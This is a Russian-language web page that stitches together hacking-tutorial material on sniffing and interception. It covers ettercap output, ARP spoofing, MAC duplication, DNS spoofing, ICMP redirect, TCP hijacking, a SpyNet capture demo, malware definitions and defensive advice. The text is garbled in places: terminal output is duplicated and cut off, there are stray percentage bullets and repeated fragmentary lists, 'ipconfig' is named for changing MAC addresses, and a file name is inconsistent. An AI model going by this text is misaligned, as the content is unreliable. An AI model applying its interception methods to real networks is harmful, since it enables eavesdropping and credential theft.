Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 08:00:27:AF:30:B9 192.168.1.35/255.255.255.0 fe80::a00:27ff:feaf:30b9/64 SSL dissection needs a valid "redir_command_on" script in the etter.conf file Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20388 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Lua: no scripts were specified, not starting up! Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |==================================================>

Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 08:00:27:AF:30:B9 192.168.1.35/255.255.255.0 fe80::a00:27ff:feaf:30b9/64 SSL dissection needs a valid "redir_command_on" script in the etter.conf file Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20388 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Lua: no scripts were specified, not starting up! Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |==================================================>| 100.00 % 5 hosts added to the hosts list... Starting Unified sniffing... Text only Interface activated... Hit "h" for inline help Activating search_promisc plugin... search_promisc: Searching promisc NICs... Less probably sniffing NICs: - 192.168.1.36 - 192.168.1.34 Most probably sniffing NICs: - NONE Closing text interface... Terminating ettercap... Lua cleanup complete! Unified sniffing was stopped.

7.9 sslstrip

Во время выполнения SSL mitm атаки, ettercap подменяет реальный ssl сертификат на свой собственный. Фальшивый сертификат создаётся на лету и все поля заполнены в соответствии с представленным сервером реальным сертификатом.

  • (62%)
  • (56.5%)
  • (RANDOM - 0.2%)
  • Прослушивание коммутируемых сетей

    Изучение современных методов

    Многие современные атаки выполняются так называемыми "скрипт киддиз" (script kiddies). Это пользователи, отыскивающие сценарии эксплойтов в интернете и запускающие их против всех систем, которые только можно найти. Эти нехитрые способы атак не требуют специальных знаний или инструкций.

    Однако существуют и другие методы, основанные на более глубоком понимании работы компьютеров, сетей и атакуемых систем. В данном разделе мы познакомимся с такими методами - с прослушиванием (снифингом, от англ. sniffing) коммутируемых сетей и имитацией IP-адреса (IP-spoofing).

    Прослушивание, или снифинг (sniffing), используется хакерами/крэкерами после взлома системы для сбора паролей и другой системной информации. Для этого снифер устанавливает плату сетевого интерфейса в режим прослушивания смешанного трафика (promiscuous mode), т. е. сетевой адаптер будет перехватывать все пакеты, перемещающиеся по сети, а не только пакеты, адресованные данному адаптеру или системе. Сниферы такого типа хорошо работают в сетях с разделяемой пропускной способностью с сетевыми концентраторами - хабами.

    Поскольку сейчас больше используются сетевые коммутаторы, эффективность снифинга стала снижаться. В коммутируемой среде не применяется режим широковещательной передачи, вместо этого пакеты отправляются непосредственно к системе-получателю. Однако коммутаторы не являются защитными устройствами. Это обычные сетевые устройства, следовательно, обеспечиваемая ими безопасность скорее побочный продукт их сетевого назначения, чем элемент конструкции. Поэтому вполне возможно появление снифера, способного работать и в коммутируемой среде. И это уже произошло. Снифер, специально разработанный для коммутируемой среды, можно найти по адресу http://ettercap.sourceforge.net/.

    Для прослушивания трафика в коммутируемой среде хакер должен выполнить одно из условий:

    • "убедить" коммутатор в том, что трафик, представляющий интерес, должен быть направлен к сниферу;
    • заставить коммутатор отправлять весь трафик ко всем портам.

    При выполнении одного из условий снифер сможет считывать интересующий трафик и, таким образом, обеспечивать хакера искомой информацией.

    Коммутатор направляет трафик к портам на основании адреса доступа к среде передачи данных (Media Access Control) - MAC-адреса - для кадра, передаваемого по сети Ethernet. Каждая плата сетевого интерфейса имеет уникальный MAC-адрес, и коммутатор "знает" о том, какие адреса назначены какому порту. Следовательно, при передаче кадра с определенным MAC-адресом получателя коммутатор направляет этот кадр к порту, к которому приписан данный MAC-адрес.



    Ниже приведены методы, с помощью которых можно заставить коммутатор направлять сетевой трафик к сниферу:

    • ARP-спуфинг;
    • дублирование MAC-адресов;
    • имитация доменного имени.

    ARP-спуфинг (ARP-spoofing). ARP - это протокол преобразования адресов (Address Resolution Protocol), используемый для получения MAC-адреса, связанного с определенным IP-адресом. При передаче трафика система-отправитель посылает ARP-запрос по IP-адресу получателя. Система-получатель отвечает на этот запрос передачей своего MAC-адреса, который будет использоваться системой-отправителем для прямой передачи трафика.

    Если снифер захватит трафик, представляющий для него интерес, то он ответит на ARP-запрос вместо реальной системы-получателя и предоставит собственный MAC-адрес. В результате система-отправитель будет посылать трафик на снифер.

    Для обеспечения эффективности данного процесса необходимо переадресовывать весь трафик на снифер вместо реального места назначения. Если этого не сделать, то появится вероятность возникновения отказа в доступе к сети.

    Примечание

    ARP-спуфинг работает только в локальных подсетях, поскольку ARP-сообщения передаются только внутри локальной подсети. Снифер должен размещаться в том же самом сегменте локальной сети, где находятся системы отправителя и получателя.

    Дублирование MAC-адресов. Дублирование MAC-адреса системы-получателя является еще одним способом "убедить" коммутатор посылать трафик на снифер. Для этого хакеру нужно изменить MAC-адрес на снифере и разместиться в системе, которая находится в том же сегменте локальной сети.

    Примечание

    Считается, что изменить MAC-адреса невозможно. Однако дело обстоит совсем не так. Это можно сделать в системе Unix с помощью команды ipconfig. Аналогичные утилиты имеются и в системе Windows.

    Для выполнения ARP-спуфинга снифер должен располагаться в той же самой локальной подсети, что и обе системы (отправитель и получатель), чтобы иметь возможность дублирования MAC-адресов.

    Имитация доменного имени. Существует третий способ заставить коммутатор отправлять весь трафик на снифер: нужно "обмануть" систему-отправителя, чтобы она использовала для передачи данных реальный MAC-адрес снифера. Это осуществляется с помощью имитации доменного имени.

    При выполнении этой атаки снифер перехватывает DNS-запросы от системы-отправителя и отвечает на них. Вместо IP-адреса систем, к которым был послан запрос, система-отправитель получает IP-адрес снифера и отправляет весь трафик к нему. Далее снифер должен перенаправить этот трафик реальному получателю. Мы видим, что в этом случае атака имитации доменного имени превращается в атаку перехвата.

    Для обеспечения успеха данной атаки сниферу необходимо просматривать все DNS-запросы и отвечать на них до того, как это сделает реальный получатель. Поэтому снифер должен располагаться на маршруте следования трафика от системы-отправителя к DNS-серверу, а еще лучше - в той же локальной подсети, что и отправитель.

    Примечание

    Снифер мог бы просматривать запросы, отправляемые через интернет, но чем дальше он от системы-отправителя, тем сложнее гарантировать, что он первым ответит на них.

      Направляются обычно на информационные серверы предприятия, функционирование которых является критически важным условием для работоспособности всего предприятия. Чаще всего объектами DOS-атак становятся основные веб-серверы, файловые и почтовые серверы предприятия, а также корневые серверы системы DNS.

      Ложных DNS-oтветы.

    Типы атак. Перехват и перенаправление трафика

      Атаки отказа в обслуживании (DoS).

      Перехват и перенаправление трафика. Цель - направить трафик атакуемого компьютера по ложному адресу, в качестве которого может выступать адрес либо злоумышленника, либо третьей стороны.

      Ложных DNS-oтветы.

    Типы атак. Ложные DNS ответы

      Атаки отказа в обслуживании (DoS).

      Перехват и перенаправление трафика.

      Ложных DNS-oтветы. Задача злоумышленника состоит в получении доступа к корпоративному серверу. Для этого ему нужно завладеть именем и паролем авторизованного пользователя корпоративной сети. Эту информацию он решает получить путем ответвления потока данных, которые корпоративный клиент посылает корпоративному серверу.

    Внедрение вредоносных программ. Троянские программы

    Троянские программы, или трояны (trojan) - это разновидность вредоносных программ, которые наносят ущерб системе, маскируясь под какие-либо полезные приложения.

    Троянские программы могут применять в качестве прикрытия знакомые пользователю приложения, с которыми он работал и раньше, до появления в компьютере «троянского коня».

    Внедрение вредоносных программ. Черви

    Сетевые черви (worm) - это программы, способные к самостоятельному распространению своих копий среди узлов в пределах локальной сети, а также по глобальным связям, перемещаясь от одного компьютера к другому без всякого участия в этом процессе пользователей сети.

    Червь состоит из двух основных функциональных компонентов: атакующего блока и блока поиска целей.

    Атакующий блок состоит из нескольких модулей (векторов атаки), каждый из которых рассчитан на поражение конкретного типа уязвимости. Этот блок открывает «входную дверь» атакуемого хоста и передает через нее свою копию.

    Блок поиска целей (локатор) собирает информацию об узлах сети, а затем на основании этой информации определяет, какие из исследованных узлов обладают теми уязвимостями, для которых хакер имеет средства атаки.

    Внедрение вредоносных программ. Вирусы

    Вирус (virus) - это вредоносный программный фрагмент, который может внедряться в другие файлы.

    В отличие от червей вирусы (так же как и троянские программы) не содержат в себе встроенного механизма активного распространения по сети, они способны размножаться своими силами только в пределах одного компьютера. Как правило, передача копии вируса на другой компьютер происходит с участием пользователя.


    В этом уроке описаны технологии сетевого хакинга, основанные на перехвате сетевых пакетов. Хакеры используют такие технологии для прослушивания сетевого трафика с целью хищения ценной информации, для организации перехвата данных с целью атаки «человек посредине», для перехвата TCP-соединений, позволяющих, скажем, подменять данные, и выполнения других, не менее интересных действий. К сожалению, большая часть этих атак на практике реализована только для сетей Unix, для которых хакеры могут использовать как специальные утилиты, так и системные средства Unix. Сети Windows, по всей видимости, обойдены вниманием хакеров, и мы вынуждены ограничиться при описании инструментов перехвата данных программами-сниферами, предназначенными для тривиального прослушивания сетевых пакетов. Тем не менее, не следует пренебрегать хотя бы теоретическим описанием таких атак, особенно антихакерам, поскольку знание применяемых технологий хакинга поможет предотвратить многие неприятности.

    Сетевой снифинг

    Для снифинга сетей Ethernet обычно используются сетевые карты, переведенные в режим прослушивания. Прослушивание сети Ethernet требует подключения компьютера с запущенной программой-снифером к сегменту сети, после чего хакеру становится доступным весь сетевой трафик, отправляемый и получаемый компьютерами в данном сетевом сегменте. Еще проще выполнить перехват трафика радиосетей, использующих беспроводные сетевые посредники, - в этом случае не требуется даже искать место для подключения к кабелю. Или же злоумышленник может подключиться к телефонной линии, связывающей компьютер с сервером Интернета, найдя для этого удобное место (телефонные линии обычно проложены в подвалах и прочих малопосещаемых местах без всякой защиты).

    Для демонстрации технологии снифинга мы применим весьма популярную программу-снифер SpyNet , которую можно найти на многих Web-сайтах. Официальный сайт программы SpyNet находится по адресу http://members.xoom.com/layrentiu2/ , на котором можно загрузить демо-версию программы.

    Программа SpyNet состоит из двух компонентов - CaptureNet и PipeNet . Программа CaptureNet позволяет перехватывать пакеты, передаваемые по сети Ethernet на сетевом уровне, т.е. в виде кадров Ethernet. Программа PipeNet позволяет собирать кадры Ethernet в пакеты уровня приложений, восстанавливая, например, сообщения электронной почты, сообщения протокола HTTP (обмен информацией с Web-сервером) и выполнять другие функции.

    К сожалению, в демо-версии SpyNet возможности PipeNet ограничены демонстрационным примером сборки пакета HTTP, так что мы не сможем продемонстрировать работу SpyNet в полном объеме. Однако мы продемонстрируем возможности сетевого снифинга SpyNet на примере нашей экспериментальной сети, передав текстовый файл с хоста Sword-2000 на хост Alex-З с помощью обычного проводника Windows. Одновременно на компьютере А1ех-1 мы запустим программу CaptureNet , которая перехватит переданные пакеты и позволит прочитать содержимое переданного файла в кадрах Ethernet. На Рис. 1 представлен текст секретного сообщения в файле secret.txt ; мы постараемся найти этот текст в перехваченных кадрах Ethernet.

    Рис. 1. Текст секретного сообщения в окне Notepad

    Для перехвата кадров Ethernet выполните такие действия.

    На компьютере Alex-З запустите программу CaptureNet . В отобразившемся рабочем окне программы выберите команду меню Capture * Start (Захват * Запуск) и запустите процесс перехвата сетевых кадров.

    Средствами проводника Windows скопируйте файл security.txt с компьютера Sword-2000 на А1ех-3 .

    После передачи файла secret.txt выберите команду меню Capture * Stop (Захват * Стоп) и остановите процесс перехвата.

    Перехваченные кадры Ethernet отобразятся в правой части рабочего окна программы CaptureNet (Рис. 2), причем каждая строка в верхнем списке представляет кадр Ethernet, а под списком отображается содержимое выбранного кадра.

    Рис. 2. Кадр Ethernet содержит текст секретного сообщения

    Просмотрев список перехваченных кадров, мы без труда найдем тот из них, который содержит переданный нами текст This is a very big secret (Это очень большой секрет).

    Подчеркнем, что это - самый простой пример, когда записывался весь перехваченный сетевой трафик. Программа CaptureNet позволяет перехватывать пакеты, пересылаемые по определенным протоколам и на определенные порты хостов, выбирать сообщения с определенным содержимым и накапливать перехваченные данные в файле. Техника выполнения таких действий несложна, и ее можно освоить по справочной системе программы SpyNet .

    Кроме примитивного прослушивания сети, хакерам доступны более изощренные средства перехвата данных. Ниже приведен краткий обзор таких методов, правда, в теоретическом аспекте. Причина в том, что для сетей Windows практическая реализация атак перехвата данных крайне ограничена, и набор надежных утилит для атак перехвата довольно скуден.

    Методы перехвата сетевого трафика

    Прослушиванце сети с помощью программ сетевых анализаторов, подобных приведенной выше CaptureNet , является первым, самым простым способом перехвата данных. Кроме SpyNet для снифинга сетей используется множество инструментов, изначально разрабатываемых для целей анализа сетевой активности, диагностирования сетей, отбора трафика по указанным критериям и других задач сетевого администрирования. В качестве примера такой программы можно назвать tcpdump (http://www.tcpdump.org ), которая позволяет записывать сетевой трафик в специальный журнал для последующего анализа.

    Для защиты от прослушивания сети применяются специальные программы, например, AntiSniff (http://www.securitysoftwaretech.com/antisniff ), которые способны выявлять в сети компьютеры, занятые прослушиванием сетевого трафика. Программы-антисниферы для решения своих задач используют особый признак наличия в сети прослушивающих устройств - сетевая плата компьютера-снифера должна находиться в специальном режиме прослушивания. Находясь в режиме прослушивания, сетевые компьютеры особенным образом реагируют на IР-дейтаграммы, посылаемые в адрес тестируемого хоста. Например, прослушивающие хосты, как правило, обрабатывают весь поступающий трафик, не ограничиваясь только посланными на адрес хоста дейтаграммами. Имеются и другие признаки, указывающие на подозрительное поведение хоста, которые способна распознать программа AntiSniff .

    Несомненно, прослушивание очень полезно с точки зрения злоумышленника, поскольку позволяет получить множество полезной информации - передаваемые по сети пароли, адреса компьютеров сети, конфиденциальные данные, письма и прочее. Однако простое прослушивание не позволяет хакеру вмешиваться в сетевое взаимодействие между двумя хостами с целью модификации и искажения данных. Для решения такой задачи требуется более сложная технология.

    Ложные запросы ARP

    Чтобы перехватить и замкнуть на себя процесс сетевого взаимодействия между двумя хостами А и В злоумышленник может подменить IР-адреса взаимодействующих хостов своим IP-адресом, направив хостам А и В фальсифицированные сообщения ARP (Address Resolution Protocol - Протокол разрешения адресов). С протоколом ARP можно познакомиться в Приложении D, где описана процедура разрешения (преобразования) IP-адреса хоста в адрес машины (МАС-адрес), зашитый в сетевую плату хоста. Посмотрим, как хакер может воспользоваться протоколом ARP для выполнения перехвата сетевого взаимодействия между хостами А и В.

    Для перехвата сетевого трафика между хостами А и В хакер навязывает этим хостам свой IP-адрес, чтобы А и В использовали этот фальсифицированный IP-адрес при обмене сообщениями. Для навязывания своего IР-адреса хакер выполняет следующие операции.

    Злоумышленник определяет МАС-адреса хостов А и В, например, с помощью команды nbtstat из пакета W2RK .

    Злоумышленник отправляет на выявленные МАС-адреса хостов А и В сообщения, представляющие собой фальсифицированные ARP-ответы на запросы разрешения IP-адресов хостов в МАС-адреса компьютеров. Хосту А сообщается, что IР-адресу хоста В соответствует МАС-адрес компьютера злоумышленника; хосту В сообщается, что IP-адресу хоста А также соответствует МАС-адрес компьютера злоумышленника.

    Хосты А и В заносят полученные МАС-адреса в свои кэши ARP и далее используют их для отправки сообщений друг другу. Поскольку IР-адресам А и В соответствует МАС-адрес компьютера злоумышленника, хосты А и В, ничего не подозревая, общаются через посредника, способного делать с их посланиями что угодно.

    Для защиты от таких атак сетевые администраторы должны поддерживать базу данных с таблицей соответствия МАС-адресов и IP-адресов своих сетевых компьютеров. Далее, с помощью специального программного обеспечения, например, утилиты arpwatch (ftp://ftp.ee.lbl.gov/arpwatch-2.lab.tar.gz ) можно периодически обследовать сеть и выявлять несоответствия.

    В сетях UNIX такого рода атаку ложными запросами ARP можно реализовать с помощью системных утилит отслеживания и управления сетевым трафиком, например, arpredirect . К сожалению, в сетях Windows 2000/XP такие надежные утилиты, по-видимому, не реализованы. Например, на сайте NTsecurity (http://www.ntsecurity.nu ) можно загрузить утилиту GrabitAII , представленную как средство для перенаправления трафика между сетевыми хостами. Однако элементарная проверка работоспособности утилиты GrabitAII показывает, что до полного успеха в реализации ее функций еще далеко.

    Ложная маршрутизация

    Чтобы перехватить сетевой трафик, злоумышленник может подменить реальный IP-адрес сетевого маршрутизатора своим IP-адресом, выполнив это, например, с помощью фальсифицированных ICMP-сообщений Redirect. Полученное сообщение Redirect хост А должен, согласно документу RFC-1122, воспринять как ответ на дейтаграмму, посланную другому хосту, например, В. Свои действия на сообщение Redirect хост А определяет, исходя из содержимого полученного сообщения Redirect, и если в Redirect задать перенаправление дейтаграмм из А в В по новому маршруту, именно это хост А и сделает.

    Для выполнения ложной маршрутизации злоумышленник должен знать некоторые подробности об организации локальной сети, в которой находится хост А, в частности, IP-адрес маршрутизатора, через который отправляется трафик из хоста А в В. Зная это, злоумышленник сформирует IP-дейтаграмму, в которой IP-адрес отправителя определен как IP-адрес маршрутизатора, а получателем указан хост А. Также в дейтаграмму включается сообщение ICMP Redirect с полем адреса нового маршрутизатора, установленным как IP-адрес компьютера злоумышленника. Получив такое сообщение, хост А будет отправлять все сообщения по IP-адресу компьютера злоумышленника.

    Для защиты от такой атаки следует отключить (например, с помощью брандмауэра) на хосте А обработку сообщений ICMP Redirect, а выявить IP-адрес компьютера злоумышленника может команда tracert (в Unix это команда tracerout). Эти утилиты способны найти появившийся в локальной сети дополнительный, непредусмотренный при инсталляции, маршрут, если конечно администратор сети проявит бдительность.

    Приведенное выше примеры перехватов (которыми возможности злоумышленников далеко не ограничиваются) убеждают в необходимости защиты данных, передаваемых по сети, если в данных содержится конфиденциальная информация. Единственным методом защиты от перехватов сетевого трафика является использование программ, реализующих криптографические алгоритмы и протоколы шифрования, и позволяющих предотвратить раскрытие и подмену секретной информации. Для решения таких задач криптография предоставляет средства для шифрования, подписи и проверки подлинности передаваемых по защищенным протоколам сообщений

    Практическую реализацию всех описанных в Главе 4 криптографических методов защиты обмена информацией предоставляют сети VPN (Virtual Private Network - Виртуальные частные сети). Краткий обзор принципов и методов криптографической защиты можно найти в Приложении Е, а в приводится подробное описание средств криптографической защиты, предоставляемых приложением PGP Desktop Security (http://www.pgp.com ).

    Перехват TCP-соединения

    Наиболее изощренной атакой перехвата сетевого трафика следует считать захват TCP-соединения (TCP hijacking), когда хакер путем генерации и отсылки на атакуемых хост TCP-пакетов прерывает текущий сеанс связи с хостом. Далее, пользуясь возможностями протокола TCP по восстановлению прерванного TCP-соединения, хакер перехватывает прерванный сеанс связи и продолжает его вместо отключенного клиента.

    Для выполнения атак перехвата TCP-соединения создано несколько эффективных утилит, однако все они реализованы для платформы Unix, и на сайтах Web эти утилиты представлены только в виде исходных кодов. Таким образом, нам, как убежденным практикам в благородном деле хакинга, от атак методом перехвата TCP-соединения проку не много. (Любители разбираться в чужом программном коде могут обратиться к сайту http://www.cri.cz/~kra/index.html , где можно загрузить исходный код известной утилиты перехвата TCP-соединения Hunt от Павла Крауза (Pavel Krauz)).

    Несмотря на отсутствие практических инструментов, мы не можем обойти стороной такую интересную тему, как перехват TCP-соединений, и остановимся на некоторых аспектах таких атак. Некоторые сведения о структуре TCP-пакета и порядке установления TCP-соединений приведены в Приложении D этой книги, здесь же основное внимание мы уделим такому вопросу - что же именно позволяет хакерам выполнять атаки перехвата TCP-соединений? Рассмотрим эту тему подробнее, опираясь, в основном, на обсуждение в и .

    Протокол TCP (Transmission Control Protocol - Протокол управления передачей) является одним из базовых протоколов транспортного уровня OSI, позволяющим устанавливать логические соединения по виртуальному каналу связи. По этому каналу передаются и принимаются пакеты с регистрацией их последовательности, осуществляется управление потоком пакетов, организовывается повторная передача искаженных пакетов, а в конце сеанса канал связи разрывается. Протокол TCP является единственным базовым протоколом из семейства TCP/IP, имеющим продвинутую систему идентификации сообщений и соединения.

    Для идентификации TCP-пакета в TCP-заголовке существуют два 32-разрядных идентификатора, которые также играют роль счетчика пакетов, называемых порядковым номером и номером подтверждения. Также нас будет интересовать еще одно поле TCP-пакета, называемое управляющими битами. Это поле размером 6 бит включает следующие управляющие биты (в порядке слева направо):

    URG - флаг срочности;

    АСК - флаг подтверждения;

    PSH - флаг переноса;

    RST - флаг переустановки соединения;

    SYN - флаг синхронизации;

    FIN - флаг завершения соединения.

    Рассмотрим порядок создания TCP-соединения.

    1. Если хосту А необходимо создать TCP-соединение с хостом В, то хост А посылает хосту В следующее сообщение:

    А -> В: SYN, ISSa

    Это означает, что в передаваемом хостом А сообщении установлен флаг SYN (Synchronize sequence number - Номер последовательности синхронизации), а в поле порядкового номера установлено начальное 32-битное значение ISSa (Initial Sequence Number - Начальный номер последовательности).

    2. В ответ на полученный от хоста А запрос хост В отвечает сообщением, в котором установлен бит SYN и установлен бит АСК. В поле порядкового номера хост В устанавливает свое начальное значение счетчика - ISSb; поле номера подтверждения будет при этом содержать значение ISSa, полученное в первом пакете от хоста А, увеличенное на единицу. Таким образом, хост В отвечает таким сообщением:

    В -> A: SYN, АСК, ISSb, ACK(ISSa+1)

    3. Наконец, хост А посылает сообщение хосту В, в котором: установлен бит АСК ; поле порядкового номера содержит значение ISSa + 1 ; поле номера подтверждения содержит значение ISSb + 1 . После этого TCP-соединение между хостами А и В считается установленным:

    А -> В: АСК, ISSa+1, ACK(ISSb+1)

    4. Теперь хост А может посылать пакеты с данными на хост В по только что созданному виртуальному TCP-каналу:

    А -> В: АСК, ISSa+1, ACK(ISSb+1); DATA

    Здесь DATA обозначает данные.

    Из рассмотренного выше алгоритма создания TCP-соединения видно, что единственными идентификаторами TCP-абонентов и TCP-соединения являются два 32-битных параметра порядкового номера и номера подтверждения - ISSa и ISSb . Следовательно, если хакеру удастся узнать текущие значения полей ISSa и ISSb , то ему ничто не помешает сформировать фальсифицированный TCP-пакет. Это означает, что хакеру достаточно подобрать текущие значения параметров ISSa и ISSb пакета TCP для данного TCP-соединения, послать пакет с любого хоста Интернета от имени клиента данного TCP-подключения, и данный пакет будет воспринят как верный!

    Опасность такой подмены TCP-пакетов важна и потому, что высокоуровневые протоколы FTP и TELNET реализованы на базе протокола TCP, и идентификация клиентов FTP и TELNET-пакетов целиком основана на протоколе TCP.

    К тому же, поскольку протоколы FTP и TELNET не проверяют IР-адреса отправителей сообщений, то после получения фальсифицированного пакета серверы FTP или TELNET отправят ответное сообщение по указанному в ложном пакете IP-адресу хакерского хоста. После этого хакерский хост начнет работу с сервером FTP или TELNET со своего IР-адреса, но с правами легально подключившегося пользователя, который, в свою очередь, потеряет связь с сервером из-за рассогласования счетчиков.

    Таким образом, для осуществления описанной выше атаки необходимым и достаточным условием является знание двух текущих 32-битных параметров ISSa и ISSb , идентифицирующих TCP-соединение. Рассмотрим возможные способы их получения. В случае, когда хакерский хост подключен к атакуемому сетевому сегменту, задача получения значений ISSa и ISSb является тривиальной и решается путем анализа сетевого трафика. Следовательно, надо четко понимать, что протокол TCP позволяет в принципе защитить соединение только в случае невозможности перехвата атакующим сообщений, передаваемых по данному соединению, то есть только в случае, когда хакерский хост подключен к сетевому сегменту, отличному от сегмента абонента TCP-соединения.

    Поэтому наибольший интерес для хакера представляют межсегментные атаки, когда атакующий и его цель находятся в разных сегментах сети. В этом случае задача получения значений ISSa и ISSb не является тривиальной. Для решения данной проблемы ныне придумано только два способа.

    Математическое предсказание начального значения параметров TCP-соединения экстраполяцией предыдущих значений ISSa и ISSb .

    Использование уязвимостей по идентификации абонентов TCP-соединения на rsh-серверах Unix.

    Первая задача решается путем углубленных исследований реализации протокола TCP в различных операционных системах и ныне имеет чисто теоретическое значение. Вторая проблема решается с использованием уязвимостей системы Unix по идентификации доверенных хостов. (Доверенным по отношению к данному хосту А называется сетевой хост В , пользователь которого может подключиться к хосту А без аутентификации с помощью r-службы хоста А ). Манипулируя параметрами TCP-пакетов, хакер может попытаться выдать себя за доверенный хост и перехватить TCP-соединение с атакуемым хостом.

    Все это очень интересно, но практические результаты такого рода изысканий еще не видны. Поэтому всем желающим углубиться в эту тему советуем обратиться к книге , откуда, в основном, были взяты изложенные выше сведения.

    Заключение

    Перехват сетевых данных представляет собой наиболее эффективный метод сетевого хакинга, позволяющий хакеру получить практически всю информацию, циркулирующую по сети. Наибольшее практическое развитие получили средства снифинга, т.е. прослушивания сетей; однако нельзя обойти вниманием и методы перехвата сетевых данных, выполняемые с помощью вмешательства в нормальное функционирование сети с целью перенаправления трафика на хакерский хост, в особенности методы перехвата TCP-соединений. Однако на практике последние упомянутые методы пока еще не получили достаточного развития и нуждаются в совершенствовании.

    Антихакер должен знать, что единственным спасением от перехвата данных является их шифрование, т.е. криптографические методы защиты. Посылая по сети сообщение, следует заранее предполагать, что кабельная система сети абсолютно уязвима, и любой подключившийся к сети хакер сможет выловить из нее все передаваемые секретные сообщения. Имеются две технологии решения этой задачи - создание сети VPN и шифрование самих сообщений. Все эти задачи очень просто решить с помощью пакета программ PGP Desktop Security (ее описание можно найти, например, в ).

    Лучшие статьи по теме